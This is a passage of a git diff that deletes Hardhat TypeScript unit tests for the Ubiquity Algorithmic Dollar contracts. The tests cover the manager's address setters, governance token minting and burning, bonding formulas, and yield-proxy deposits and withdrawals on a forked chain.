debtCouponFactory.deploy(await admin.getAddress())) as DebtCoupon; - }); - describe("BondingShare", () => { - it("Set should work", async () => { - bondingShare = (await (await ethers.getContractFactory("BondingShare")).connect(admin).deploy(await admin.getAddress())) as BondingShare; - - await manager.connect(admin).setBondingShareAddress(bondingShare.address); - const bondingShareAddr = BigNumber.from(await ethers.provider.getStorageAt(manager.address, 6)).toHexString(); - expect(bondingShare.address.toLowerCase()).to.equal(bondingShareAddr.toLowerCase()); - }); - }); - describe("sushiSwapPoolAddress", () => { - it("Set should revert if uAD is not set", async () => { - const sushiSwapPoolFactory = await ethers.getContractFactory("SushiSwapPool"); - await expect(sushiSwapPoolFactory.deploy(manager.address)).to.be.revertedWith("Dollar address not set"); - }); - it("Set should revert if uGOV is not set", async () => { - await manager.connect(admin).setDollarTokenAddress(uAD.address); - const sushiSwapPoolFactory = await ethers.getContractFactory("SushiSwapPool"); - await expect(sushiSwapPoolFactory.deploy(manager.address)).to.be.revertedWith("uGOV Address not set"); - }); - it("Set should work", async () => { - await manager.connect(admin).setGovernanceTokenAddress(uGOV.address); - await manager.connect(admin).setDollarTokenAddress(uAD.address); - - const sushiSwapPoolFactory = await ethers.getContractFactory("SushiSwapPool"); - const sushiSwapPool = (await sushiSwapPoolFactory.deploy(manager.address)) as SushiSwapPool; - - await manager.connect(admin).setSushiSwapPoolAddress(sushiSwapPool.address); - - const sushiSwapPoolAddr = BigNumber.from(await ethers.provider.getStorageAt(manager.address, 12)).toHexString(); - - expect(sushiSwapPool.address.toLowerCase()).to.equal(sushiSwapPoolAddr.toLowerCase()); - }); - }); - describe("uADTokenAddress", () => { - it("Set should work", async () => { - await manager.connect(admin).setDollarTokenAddress(uAD.address); - - const uADTokenAddr = BigNumber.from(await ethers.provider.getStorageAt(manager.address, 3)).toHexString(); - - expect(uAD.address.toLowerCase()).to.equal(uADTokenAddr.toLowerCase()); - }); - }); - - describe("uGOVTokenAddress", () => { - it("Set should work", async () => { - await manager.connect(admin).setGovernanceTokenAddress(uGOV.address); - - const uGOVTokenAddr = BigNumber.from(await ethers.provider.getStorageAt(manager.address, 11)).toHexString(); - - expect(uGOV.address.toLowerCase()).to.equal(uGOVTokenAddr.toLowerCase()); - }); - }); - describe("uARTokenAddress", () => { - it("Set should work", async () => { - await manager.connect(admin).setuARTokenAddress(uAR.address); - - const uARTokenAddr = BigNumber.from(await ethers.provider.getStorageAt(manager.address, 15)).toHexString(); - - expect(uAR.address.toLowerCase()).to.equal(uARTokenAddr.toLowerCase()); - }); - }); - describe("uarForDollarsCalculator", () => { - it("Set should work", async () => { - await manager.connect(admin).setUARCalculatorAddress(uarForDollarsCalculator.address); - - const uarForDollarsCalculatorAddr = BigNumber.from(await ethers.provider.getStorageAt(manager.address, 16)).toHexString(); - - expect(uarForDollarsCalculator.address.toLowerCase()).to.equal(uarForDollarsCalculatorAddr.toLowerCase()); - }); - }); - - describe("debtCouponAddress", () => { - it("Set should work", async () => { - await manager.connect(admin).setDebtCouponAddress(debtCoupon.address); - - const debtCouponAddr = BigNumber.from(await ethers.provider.getStorageAt(manager.address, 2)).toHexString(); - - expect(debtCoupon.address.toLowerCase()).to.equal(debtCouponAddr.toLowerCase()); - }); - }); - describe("StablePool", () => { - beforeEach(async () => { - await network.provider.request({ - method: "hardhat_impersonateAccount", - params: [curveWhaleAddress], - }); - const curveWhale = ethers.provider.getSigner(curveWhaleAddress); - const crvToken = (await ethers.getContractAt("ERC20", curve3CrvToken)) as ERC20; - await crvToken.connect(curveWhale).transfer(manager.address, ethers.utils.parseEther("10000")); - // setDollarTokenAddress needed for the stable pool - await manager.connect(admin).setDollarTokenAddress(uAD.address); - // the uADManager needs some uAD to provide liquidity - await uAD.connect(admin).mint(manager.address, ethers.utils.parseEther("10000")); - await manager.connect(admin).deployStableSwapPool(curveFactory, curve3CrvBasePool, crvToken.address, 10, 4000000); - }); - it("should deploy", async () => { - const metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - const metaPoolAddrFromStorage = BigNumber.from(await ethers.provider.getStorageAt(manager.address, 8)).toHexString(); - - expect(metaPoolAddr.toLowerCase()).to.equal(metaPoolAddrFromStorage.toLowerCase()); - }); - it("should return correct price", async () => { - const metaPoolAddr = await manager.stableSwapMetaPoolAddress(); - const metaPoolAddrFromStorage = BigNumber.from(await ethers.provider.getStorageAt(manager.address, 8)).toHexString(); - - expect(metaPoolAddr.toLowerCase()).to.equal(metaPoolAddrFromStorage.toLowerCase()); - }); - }); -}); diff --git a/packages/contracts/dollar/test/UbiquityFormulas.test.ts b/packages/contracts/dollar/test/UbiquityFormulas.test.ts deleted file mode 100644 index 797573ebb..000000000 --- a/packages/contracts/dollar/test/UbiquityFormulas.test.ts +++ /dev/null @@ -1,96 +0,0 @@ -import { expect } from "chai"; -import { BigNumber } from "ethers"; -import { UbiquityFormulas } from "../artifacts/types/UbiquityFormulas"; -import { bondingSetup } from "./BondingSetup"; - -describe("UbiquityFormulas", () => { - const one: BigNumber = BigNumber.from(10).pow(18); // one = 1 ether = 10^18 - const ten9: BigNumber = BigNumber.from(10).pow(9); // ten9 = 10^-9 ether = 10^9 - const zzz1: BigNumber = BigNumber.from(10).pow(15); // zzz1 = zerozerozero1 = 0.0001 ether = 10^15 - - let ubiquityFormulas: UbiquityFormulas; - - before(async () => { - ({ ubiquityFormulas } = await bondingSetup()); - }); - - describe("durationMultiply", () => { - // durationMultiply(_uLP, _weeks, _multiplier) => (1 + _multiplier * _weeks ^ 3 / 2) * _uLP - - it("durationMultiply of 0 should be 1", async () => { - const mult = await ubiquityFormulas.durationMultiply(one, 0, zzz1); - - expect(mult).to.eq(one); - }); - - it("durationMultiply of 1 should be 1.001", async () => { - // 1.001000000 * 10**18 = 10**9 * 1001000000 - const mult = BigNumber.from(await ubiquityFormulas.durationMultiply(one, 1, zzz1)); - const epsilon = ten9.mul(1001000000).sub(mult); - - // 10**-9 expected precision on following calculations - expect(epsilon.div(ten9)).to.be.equal(0); - }); - - it("durationMultiply of 6 should be 1.014696938", async () => { - // 1.014696938 * 10**18 = 10**9 * 1014696938 - const mult = BigNumber.from(await ubiquityFormulas.durationMultiply(one, 6, zzz1)); - const epsilon = ten9.mul(1014696938).sub(mult); - - expect(epsilon.div(ten9)).to.be.equal(0); - }); - - it("durationMultiply of 24 should be 1.117575507", async () => { - // 1.117575507 * 10**18 = 10**9 * 1117575507 - const mult = BigNumber.from(await ubiquityFormulas.durationMultiply(one, 24, zzz1)); - const epsilon = ten9.mul(1117575507).sub(mult); - - expect(epsilon.div(ten9)).to.be.equal(0); - }); - - it("durationMultiply of 52 should be 1.374977332", async () => { - // 1.3749773326 * 10**18 = 10**9 * 1374977332 - const mult = BigNumber.from(await ubiquityFormulas.durationMultiply(one, 52, zzz1)); - const epsilon = ten9.mul(1374977332).sub(mult); - - expect(epsilon.div(ten9)).to.be.equal(0); - }); - - it("durationMultiply of 520 should be 12.857824421", async () => { - // 12.857824421 * 10**18 = 10**10 * 12857824421 - const mult = BigNumber.from(await ubiquityFormulas.durationMultiply(one, 520, zzz1)); - const epsilon = ten9.mul(12857824421).sub(mult); - - expect(epsilon.div(ten9)).to.be.equal(0); - }); - }); - - describe("ugovMultiply", () => { - // ugovMultiply(_multiplier, _price) => _multiplier * (1.05 / (1 + abs(1 - _price))) - - it("ugovMultiply of 0 should be 0", async () => { - expect(await ubiquityFormulas.ugovMultiply(0, one)).to.be.equal(0); - }); - it("ugovMultiply of 1 at price 1 should be 1.05", async () => { - expect(await ubiquityFormulas.ugovMultiply(one, one)).to.be.equal(one.div(100).mul(105)); - }); - it("ugovMultiply of 2 at price 1 should be 2.1", async () => { - expect(await ubiquityFormulas.ugovMultiply(one.mul(2), one)).to.be.equal(one.div(100).mul(210)); - }); - it("ugovMultiply of 4.99 at price 1 should be unchanged as above 5", async () => { - expect(await ubiquityFormulas.ugovMultiply(one.div(100).mul(499), one)).to.be.equal(one.div(100).mul(499)); - }); - it("ugovMultiply of 0.35 at price 2 should be unchanged as bellow 0.2", async () => { - expect(await ubiquityFormulas.ugovMultiply(one.div(100).mul(35), one.mul(2))).to.be.equal(one.div(100).mul(35)); - }); - it("ugovMultiply of 10 should be unchanged as above 5", async () => { - expect(await ubiquityFormulas.ugovMultiply(one.mul(10), one)).to.be.equal(one.mul(10)); - }); - it("ugovMultiply of 1 at price 2.1 should be 0.5", async () => { - expect(await ubiquityFormulas.ugovMultiply(one, one.div(100).mul(210))).to.be.equal(one.div(100).mul(50)); - }); - it("ugovMultiply of 3.46 at price 1.23 should be 2.953658536", async () => { - expect((await ubiquityFormulas.ugovMultiply(one.div(100).mul(346), one.div(100).mul(123))).sub(ten9.mul(2953658536))).to.be.lt(ten9); - }); - }); -}); diff --git a/packages/contracts/dollar/test/UbiquityGovernance.test.ts b/packages/contracts/dollar/test/UbiquityGovernance.test.ts deleted file mode 100644 index 996e183eb..000000000 --- a/packages/contracts/dollar/test/UbiquityGovernance.test.ts +++ /dev/null @@ -1,113 +0,0 @@ -import { Signer } from "ethers"; -import { ethers } from "hardhat"; -import { expect } from "chai"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; - -describe("UbiquityGovernance", () => { - let admin: Signer; - let secondAccount: Signer; - let thirdAccount: Signer; - let manager: UbiquityAlgorithmicDollarManager; - let uGOV: UbiquityGovernance; - const UBQ_BURNER_ROLE = ethers.utils.keccak256(ethers.utils.toUtf8Bytes("UBQ_BURNER_ROLE")); - - beforeEach(async () => { - [admin, secondAccount, thirdAccount] = await ethers.getSigners(); - const UADMgr = await ethers.getContractFactory("UbiquityAlgorithmicDollarManager"); - manager = (await UADMgr.deploy(await admin.getAddress())) as UbiquityAlgorithmicDollarManager; - - const UGOV = await ethers.getContractFactory("UbiquityGovernance"); - uGOV = (await UGOV.deploy(manager.address)) as UbiquityGovernance; - }); - describe("SetName", () => { - const newName = "Super Moon uGOV"; - it("should work", async () => { - const prevName = await uGOV.name(); - expect(prevName).to.equal("Ubiquity"); - await uGOV.connect(admin).setName(newName); - const name = await uGOV.name(); - expect(name).to.equal(newName); - }); - it("should fail if not admin", async () => { - await expect(uGOV.connect(secondAccount).setName(newName)).to.revertedWith("ERC20: deployer must be manager admin"); - }); - }); - describe("SetSymbol", () => { - const newSymbol = "UGOVMOON"; - it("should work", async () => { - const prevSym = await uGOV.symbol(); - expect(prevSym).to.equal("UBQ"); - await uGOV.connect(admin).setSymbol(newSymbol); - const symbol = await uGOV.symbol(); - expect(symbol).to.equal(newSymbol); - }); - it("should fail if not admin", async () => { - await expect(uGOV.connect(secondAccount).setSymbol(newSymbol)).to.revertedWith("ERC20: deployer must be manager admin"); - }); - }); - describe("Transfer", () => { - it("should work", async () => { - const sndAdr = await secondAccount.getAddress(); - const thirdAdr = await thirdAccount.getAddress(); - await uGOV.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uGOV.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - // transfer uGOV - await uGOV.connect(secondAccount).transfer(thirdAdr, ethers.utils.parseEther("42")); - expect(await uGOV.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("9958")); - expect(await uGOV.balanceOf(thirdAdr)).to.equal(ethers.utils.parseEther("42")); - }); - it("should fail if balance is insufficient", async () => { - const sndAdr = await secondAccount.getAddress(); - const thirdAdr = await thirdAccount.getAddress(); - await uGOV.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uGOV.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - // transfer uGOV - await expect(uGOV.connect(secondAccount).transfer(thirdAdr, ethers.utils.parseEther("10000.0000000001"))).to.revertedWith( - "ERC20: transfer amount exceeds balance" - ); - }); - }); - describe("Mint", () => { - it("should work", async () => { - const sndAdr = await secondAccount.getAddress(); - await uGOV.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uGOV.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - }); - it("should fail if not Minter Role", async () => { - const thirdAdr = await thirdAccount.getAddress(); - // transfer uGOV - await expect(uGOV.connect(secondAccount).mint(thirdAdr, ethers.utils.parseEther("10000"))).to.revertedWith("Governance token: not minter"); - }); - }); - describe("Burn", () => { - it("should work", async () => { - const sndAdr = await secondAccount.getAddress(); - await uGOV.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uGOV.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - await uGOV.connect(secondAccount).burn(ethers.utils.parseEther("10000")); - expect(await uGOV.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("0")); - }); - it("should fail if balance is insufficient", async () => { - await expect(uGOV.connect(secondAccount).burn(ethers.utils.parseEther("10000"))).to.revertedWith("ERC20: burn amount exceeds balance"); - }); - }); - describe("BurnFrom", () => { - it("should fail", async () => { - const sndAdr = await secondAccount.getAddress(); - await uGOV.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uGOV.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - await expect(uGOV.connect(admin).burnFrom(sndAdr, ethers.utils.parseEther("10000"))).to.revertedWith("Governance token: not burner"); - }); - it("should work", async () => { - const sndAdr = await secondAccount.getAddress(); - const admAdr = await admin.getAddress(); - - await uGOV.connect(admin).mint(sndAdr, ethers.utils.parseEther("10000")); - expect(await uGOV.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("10000")); - await manager.grantRole(UBQ_BURNER_ROLE, admAdr); - await uGOV.connect(admin).burnFrom(sndAdr, ethers.utils.parseEther("10000")); - expect(await uGOV.balanceOf(sndAdr)).to.equal(ethers.utils.parseEther("0")); - }); - }); -}); diff --git a/packages/contracts/dollar/test/YieldProxy.test.ts b/packages/contracts/dollar/test/YieldProxy.test.ts deleted file mode 100644 index a479c55fe..000000000 --- a/packages/contracts/dollar/test/YieldProxy.test.ts +++ /dev/null @@ -1,760 +0,0 @@ -import { BigNumber, Signer } from "ethers"; -import { ethers } from "hardhat"; -import { expect } from "chai"; -import { YieldProxy } from "../artifacts/types/YieldProxy"; -import { ERC20 } from "../artifacts/types/ERC20"; -import { UbiquityAlgorithmicDollar } from "../artifacts/types/UbiquityAlgorithmicDollar"; -import { UbiquityAlgorithmicDollarManager } from "../artifacts/types/UbiquityAlgorithmicDollarManager"; -import { UbiquityAutoRedeem } from "../artifacts/types/UbiquityAutoRedeem"; -import { UbiquityGovernance } from "../artifacts/types/UbiquityGovernance"; -import yieldProxySetup from "./YieldProxySetup"; -import { IJar } from "../artifacts/types/IJar"; - -describe("yield Proxy", () => { - let fifthAccount: Signer; - let uAR: UbiquityAutoRedeem; - let yieldProxy: YieldProxy; - let manager: UbiquityAlgorithmicDollarManager; - let usdcWhaleAddress: string; - let uAD: UbiquityAlgorithmicDollar; - let uGOV: UbiquityGovernance; - let DAI: string; - let USDC: string; - let usdcToken: ERC20; - let admin: Signer; - let usdcWhale: Signer; - let secondAccount: Signer; - let thirdAccount: Signer; - let fourthAccount: Signer; - let treasury: Signer; - let jarUSDCAddr: string; - let jarYCRVLUSDaddr: string; - let strategyYearnUsdcV2: string; - let secondAddress: string; - let jar: IJar; - beforeEach(async () => { - ({ - usdcToken, - usdcWhale, - admin, - secondAccount, - thirdAccount, - fourthAccount, - fifthAccount, - treasury, - usdcWhaleAddress, - jarUSDCAddr, - jarYCRVLUSDaddr, - jar, - uAD, - uGOV, - uAR, - yieldProxy, - DAI, - USDC, - manager, - strategyYearnUsdcV2, - } = await yieldProxySetup()); - secondAddress = await secondAccount.getAddress(); - // mint uad for whale - }); - it("deposit should work with max yield and min deposit", async () => { - const usdcBal = await usdcToken.balanceOf(secondAddress); - const uadBal = await uAD.balanceOf(secondAddress); - const ubqBal = await uGOV.balanceOf(secondAddress); - // 1000 USDC - const amount = ethers.utils.parseUnits("1000", 6); - // 500 UAD which is the max - const uadAmount = ethers.utils.parseEther("500"); - // 10000 UBQ which is the max - const ubqAmount = ethers.utils.parseEther("10000"); - const uarBal = await uAR.balanceOf(secondAddress); - await usdcToken.connect(secondAccount).approve(yieldProxy.address, amount); - await uAD.connect(secondAccount).approve(yieldProxy.address, uadAmount); - await uGOV.connect(secondAccount).approve(yieldProxy.address, ubqAmount); - - const ratio = await jar.getRatio(); - await expect(yieldProxy.connect(secondAccount).deposit(amount, uadAmount, ubqAmount)).to.emit(yieldProxy, "Deposit"); - const usdcBalAfterDeposit = await usdcToken.balanceOf(secondAddress); - const uadBalAfterDeposit = await uAD.balanceOf(secondAddress); - const ubqBalAfterDeposit = await uGOV.balanceOf(secondAddress); - const uarBalAfterDeposit = await uAR.balanceOf(secondAddress); - expect(usdcBal.sub(amount)).to.equal(usdcBalAfterDeposit); - expect(uadBal.sub(uadAmount)).to.equal(uadBalAfterDeposit); - expect(ubqBal.sub(ubqAmount)).to.equal(ubqBalAfterDeposit); - expect(uarBal).to.equal(uarBalAfterDeposit); - const infos = await yieldProxy.getInfo(secondAddress); - - const shares = await jar.balanceOf(yieldProxy.address); - const bonusYield = 10000; // max amount - expect(infos[0]).to.equal(amount); - expect(infos[1]).to.equal(shares); - expect(infos[2]).to.equal(uadAmount); - expect(infos[3]).to.equal(ubqAmount); - expect(infos[4]).to.equal(0); - expect(infos[5]).to.equal(ratio); - expect(infos[6]).to.equal(bonusYield); - - // simulate a jar yield - await usdcToken.connect(usdcWhale).transfer(strategyYearnUsdcV2, ethers.utils.parseUnits("100000", 6)); - await jar.earn(); - const ratio2 = await jar.getRatio(); - expect(ratio2.gt(ratio)).to.be.true; - await expect(yieldProxy.connect(secondAccount).withdrawAll()).to.emit(yieldProxy, "WithdrawAll"); - const usdcBalAfterWithdraw = await usdcToken.balanceOf(secondAddress); - const uadBalAfterWithdraw = await uAD.balanceOf(secondAddress); - const ubqBalAfterWithdraw = await uGOV.balanceOf(secondAddress); - const uarBalAfterWithdraw = await uAR.balanceOf(secondAddress); - const infos2 = await yieldProxy.getInfo(secondAddress); - infos2.forEach((element) => { - expect(element).to.equal(0); - }); - - const calculatedYieldInUSDC = amount.mul(ratio2).div(ratio).sub(amount); - // we have the maximum bonus and 0% deposit fee - expect(usdcBalAfterWithdraw).to.equal(usdcBal); - expect(uadBalAfterWithdraw).to.equal(uadBal); - expect(ubqBalAfterWithdraw).to.equal(ubqBal); - // scale USDC to uAR decimals - const usdcPrecision = BigNumber.from(1000000000000); - const calculatedYieldInETH = calculatedYieldInUSDC.mul(usdcPrecision); - // remove dust - const uarBalAfterWithdrawRounded = uarBalAfterWithdraw.div(usdcPrecision).mul(usdcPrecision); - - expect(uarBalAfterWithdrawRounded).to.equal(calculatedYieldInETH.mul(2)); - }); - it("deposit should work with max yield and min deposit and extra UAD and UBQ sent", async () => { - const usdcBal = await usdcToken.balanceOf(secondAddress); - const uadBal = await uAD.balanceOf(secondAddress); - const ubqBal = await uGOV.balanceOf(secondAddress); - // 1000 USDC - const amount = ethers.utils.parseUnits("1000", 6); - // 500 UAD which is the max - const uadAmount = ethers.utils.parseEther("5000"); - // 10000 UBQ which is the max - const ubqAmount = ethers.utils.parseEther("20000"); - const uarBal = await uAR.balanceOf(secondAddress); - await usdcToken.connect(secondAccount).approve(yieldProxy.address, amount); - await uAD.connect(secondAccount).approve(yieldProxy.address, uadAmount); - await uGOV.connect(secondAccount).approve(yieldProxy.address, ubqAmount); - - const ratio = await jar.getRatio(); - await expect(yieldProxy.connect(secondAccount).deposit(amount, uadAmount, ubqAmount)).to.emit(yieldProxy, "Deposit"); - const usdcBalAfterDeposit = await usdcToken.balanceOf(secondAddress); - const uadBalAfterDeposit = await uAD.balanceOf(secondAddress); - const ubqBalAfterDeposit = await uGOV.balanceOf(secondAddress); - const uarBalAfterDeposit = await uAR.balanceOf(secondAddress); - expect(usdcBal.sub(amount)).to.equal(usdcBalAfterDeposit); - expect(uadBal.sub(uadAmount)).to.equal(uadBalAfterDeposit); - expect(ubqBal.sub(ubqAmount)).to.equal(ubqBalAfterDeposit); - expect(uarBal).to.equal(uarBalAfterDeposit); - const infos = await yieldProxy.getInfo(secondAddress); - - const shares = await jar.balanceOf(yieldProxy.address); - const bonusYield = 10000; // max amount - expect(infos[0]).to.equal(amount); - expect(infos[1]).to.equal(shares); - expect(infos[2]).to.equal(uadAmount); - expect(infos[3]).to.equal(ubqAmount); - expect(infos[4]).to.equal(0); - expect(infos[5]).to.equal(ratio); - expect(infos[6]).to.equal(bonusYield); - - // simulate a jar yield - await usdcToken.connect(usdcWhale).transfer(strategyYearnUsdcV2, ethers.utils.parseUnits("100000", 6)); - await jar.earn(); - const ratio2 = await jar.getRatio(); - expect(ratio2.gt(ratio)).to.be.true; - await expect(yieldProxy.connect(secondAccount).withdrawAll()).to.emit(yieldProxy, "WithdrawAll"); - const usdcBalAfterWithdraw = await usdcToken.balanceOf(secondAddress); - const uadBalAfterWithdraw = await uAD.balanceOf(secondAddress); - const ubqBalAfterWithdraw = await uGOV.balanceOf(secondAddress); - const uarBalAfterWithdraw = await uAR.balanceOf(secondAddress); - const infos2 = await yieldProxy.getInfo(secondAddress); - infos2.forEach((element) => { - expect(element).to.equal(0); - }); - - const calculatedYieldInUSDC = amount.mul(ratio2).div(ratio).sub(amount); - // we have the maximum bonus and 0% deposit fee - expect(usdcBalAfterWithdraw).to.equal(usdcBal); - expect(uadBalAfterWithdraw).to.equal(uadBal); - expect(ubqBalAfterWithdraw).to.equal(ubqBal); - // scale USDC to uAR decimals - const usdcPrecision = BigNumber.from(1000000000000); - const calculatedYieldInETH = calculatedYieldInUSDC.mul(usdcPrecision); - // remove dust - const uarBalAfterWithdrawRounded = uarBalAfterWithdraw.div(usdcPrecision).mul(usdcPrecision); - - expect(uarBalAfterWithdrawRounded).to.equal(calculatedYieldInETH.mul(2)); - }); - it("deposit should work with max yield and 10% deposit fee ", async () => { - const usdcBal = await usdcToken.balanceOf(secondAddress); - const uadBal = await uAD.balanceOf(secondAddress); - const ubqBal = await uGOV.balanceOf(secondAddress); - const USDCAmount = "1000"; - // 1000 USDC - const amount = ethers.utils.parseUnits(USDCAmount, 6); - const amountInETH = ethers.utils.parseEther(USDCAmount); - // 500 UAD which is the max - const uadAmount = amountInETH.div(2); - // 0 UBQ which mean deposit fee will be 10% - const ubqAmount = ethers.utils.parseEther("0"); - const uarBal = await uAR.balanceOf(secondAddress); - // 10% of the deposited amount with the same decimals than the underlying token - const expectedFee = amount.div(10); - const expectedFeeInETH = amountInETH.div(10); - await usdcToken.connect(secondAccount).approve(yieldProxy.address, amount); - await uAD.connect(secondAccount).approve(yieldProxy.address, uadAmount); - await uGOV.connect(secondAccount).approve(yieldProxy.address, ubqAmount); - const ratio = await jar.getRatio(); - - await expect(yieldProxy.connect(secondAccount).deposit(amount, uadAmount, ubqAmount)).to.emit(yieldProxy, "Deposit"); - const usdcBalAfterDeposit = await usdcToken.balanceOf(secondAddress); - const uadBalAfterDeposit = await uAD.balanceOf(secondAddress); - const ubqBalAfterDeposit = await uGOV.balanceOf(secondAddress); - const uarBalAfterDeposit = await uAR.balanceOf(secondAddress); - - expect(usdcBal.sub(amount)).to.equal(usdcBalAfterDeposit); - expect(uadBal.sub(uadAmount)).to.equal(uadBalAfterDeposit); - expect(ubqBal.sub(ubqAmount)).to.equal(ubqBalAfterDeposit); - expect(uarBal).to.equal(uarBalAfterDeposit); - const infos = await yieldProxy.getInfo(secondAddress); - const shares = await jar.balanceOf(yieldProxy.address); - const bonusYield = 10000; // max amount - - expect(infos[0]).to.equal(amount); // token amount deposited by the user with same decimals as underlying token - expect(infos[1]).to.equal(shares); // pickle jar shares - expect(infos[2]).to.equal(uadAmount); // amount of uAD staked - expect(infos[3]).to.equal(ubqAmount); // amount of UBQ staked - expect(infos[4]).to.equal(expectedFee); // deposit fee with same decimals as underlying token - expect(infos[5]).to.equal(ratio); // used to calculate yield - expect(infos[6]).to.equal(bonusYield); // used to calculate bonusYield on yield in uAR - - // simulate a jar yield - await usdcToken.connect(usdcWhale).transfer(strategyYearnUsdcV2, ethers.utils.parseUnits("100000", 6)); - await jar.earn(); - const ratio2 = await jar.getRatio(); - expect(ratio2.gt(ratio)).to.be.true; - await expect(yieldProxy.connect(secondAccount).withdrawAll()).to.emit(yieldProxy, "WithdrawAll"); - const usdcBalAfterWithdraw = await usdcToken.balanceOf(secondAddress); - const uadBalAfterWithdraw = await uAD.balanceOf(secondAddress); - const ubqBalAfterWithdraw = await uGOV.balanceOf(secondAddress); - const uarBalAfterWithdraw = await uAR.balanceOf(secondAddress); - - const infos2 = await yieldProxy.getInfo(secondAddress); - infos2.forEach((element) => { - expect(element).to.equal(0); - }); - - const calculatedYieldInUSDC = amount.mul(ratio2).div(ratio).sub(amount); - // we have the maximum bonus and 10% deposit fee - expect(usdcBalAfterWithdraw).to.equal(usdcBal.sub(expectedFee)); - expect(uadBalAfterWithdraw).to.equal(uadBal); - expect(ubqBalAfterWithdraw).to.equal(ubqBal); - // scale USDC to uAR decimals - const usdcPrecision = BigNumber.from(1000000000000); - const calculatedYieldInETH = calculatedYieldInUSDC.mul(usdcPrecision); - // remove dust - const uarBalAfterWithdrawRounded = uarBalAfterWithdraw.div(usdcPrecision).mul(usdcPrecision); - - expect(uarBalAfterWithdrawRounded).to.equal(calculatedYieldInETH.mul(2).add(expectedFeeInETH)); - }); - it("deposit should work with max yield and 1% reduction deposit fee ", async () => { - const usdcBal = await usdcToken.balanceOf(secondAddress); - const uadBal = await uAD.balanceOf(secondAddress); - const ubqBal = await uGOV.balanceOf(secondAddress); - const USDCAmount = "1000"; - // 1000 USDC - const amount = ethers.utils.parseUnits(USDCAmount, 6); - const amountInETH = ethers.utils.parseEther(USDCAmount); - // 500 UAD which is the max - const uadAmount = amountInETH.div(2); - // 9000 UBQ means deposit fee will be 1% 10000 UBQ is the max and allow you to have 0% deposit fee - const ubqAmount = ethers.utils.parseEther("9000"); - const uarBal = await uAR.balanceOf(secondAddress); - // 1% of the deposited amount with the same decimals than the underlying token - const expectedFee = amount.div(100); - const expectedFeeInETH = amountInETH.div(100); - await usdcToken.connect(secondAccount).approve(yieldProxy.address, amount); - await uAD.connect(secondAccount).approve(yieldProxy.address, uadAmount); - await uGOV.connect(secondAccount).approve(yieldProxy.address, ubqAmount); - const ratio = await jar.getRatio(); - - await expect(yieldProxy.connect(secondAccount).deposit(amount, uadAmount, ubqAmount)).to.emit(yieldProxy, "Deposit"); - const usdcBalAfterDeposit = await usdcToken.balanceOf(secondAddress); - const uadBalAfterDeposit = await uAD.balanceOf(secondAddress); - const ubqBalAfterDeposit = await uGOV.balanceOf(secondAddress); - const uarBalAfterDeposit = await uAR.balanceOf(secondAddress); - - expect(usdcBal.sub(amount)).to.equal(usdcBalAfterDeposit); - expect(uadBal.sub(uadAmount)).to.equal(uadBalAfterDeposit); - expect(ubqBal.sub(ubqAmount)).to.equal(ubqBalAfterDeposit); - expect(uarBal).to.equal(uarBalAfterDeposit); - const infos = await yieldProxy.getInfo(secondAddress); - - const shares = await jar.balanceOf(yieldProxy.address); - const bonusYield = 10000; // max amount - - expect(infos[0]).to.equal(amount); // token amount deposited by the user with same decimals as underlying token - expect(infos[1]).to.equal(shares); // pickle jar shares - expect(infos[2]).to.equal(uadAmount); // amount of uAD staked - expect(infos[3]).to.equal(ubqAmount); // amount of UBQ staked - expect(infos[4]).to.equal(expectedFee); // deposit fee with same decimals as underlying token - expect(infos[5]).to.equal(ratio); // used to calculate yield - expect(infos[6]).to.equal(bonusYield); // used to calculate bonusYield on yield in uAR - - // simulate a jar yield - await usdcToken.connect(usdcWhale).transfer(strategyYearnUsdcV2, ethers.utils.parseUnits("100000", 6)); - await jar.earn(); - const ratio2 = await jar.getRatio(); - expect(ratio2.gt(ratio)).to.be.true; - await expect(yieldProxy.connect(secondAccount).withdrawAll()).to.emit(yieldProxy, "WithdrawAll"); - const usdcBalAfterWithdraw = await usdcToken.balanceOf(secondAddress); - const uadBalAfterWithdraw = await uAD.balanceOf(secondAddress); - const ubqBalAfterWithdraw = await uGOV.balanceOf(secondAddress); - const uarBalAfterWithdraw = await uAR.balanceOf(secondAddress); - - const infos2 = await yieldProxy.getInfo(secondAddress); - infos2.forEach((element) => { - expect(element).to.equal(0); - }); - - const calculatedYieldInUSDC = amount.mul(ratio2).div(ratio).sub(amount); - // we have the maximum bonus and 10% deposit fee - expect(usdcBalAfterWithdraw).to.equal(usdcBal.sub(expectedFee)); - expect(uadBalAfterWithdraw).to.equal(uadBal); - expect(ubqBalAfterWithdraw).to.equal(ubqBal); - // scale USDC to uAR decimals - const usdcPrecision = BigNumber.from(1000000000000); - const calculatedYieldInETH = calculatedYieldInUSDC.mul(usdcPrecision); - // remove dust - const uarBalAfterWithdrawRounded = uarBalAfterWithdraw.div(usdcPrecision).mul(usdcPrecision); - - expect(uarBalAfterWithdrawRounded).to.equal(calculatedYieldInETH.mul(2).add(expectedFeeInETH)); - }); - it("deposit should work with 0 extra yield and min deposit ", async () => { - const usdcBal = await usdcToken.balanceOf(secondAddress); - const uadBal = await uAD.balanceOf(secondAddress); - const ubqBal = await uGOV.balanceOf(secondAddress); - const USDCAmount = "1000"; - // 1000 USDC - const amount = ethers.utils.parseUnits(USDCAmount, 6); - // 0 UAD which means no extra yield - const uadAmount = 0; - // 10000 UBQ is the max and allow you to have 0% deposit fee - const ubqAmount = ethers.utils.parseEther("10000"); - const uarBal = await uAR.balanceOf(secondAddress); - const expectedFee = 0; - const expectedFeeInETH = 0; - await usdcToken.connect(secondAccount).approve(yieldProxy.address, amount); - await uAD.connect(secondAccount).approve(yieldProxy.address, uadAmount); - await 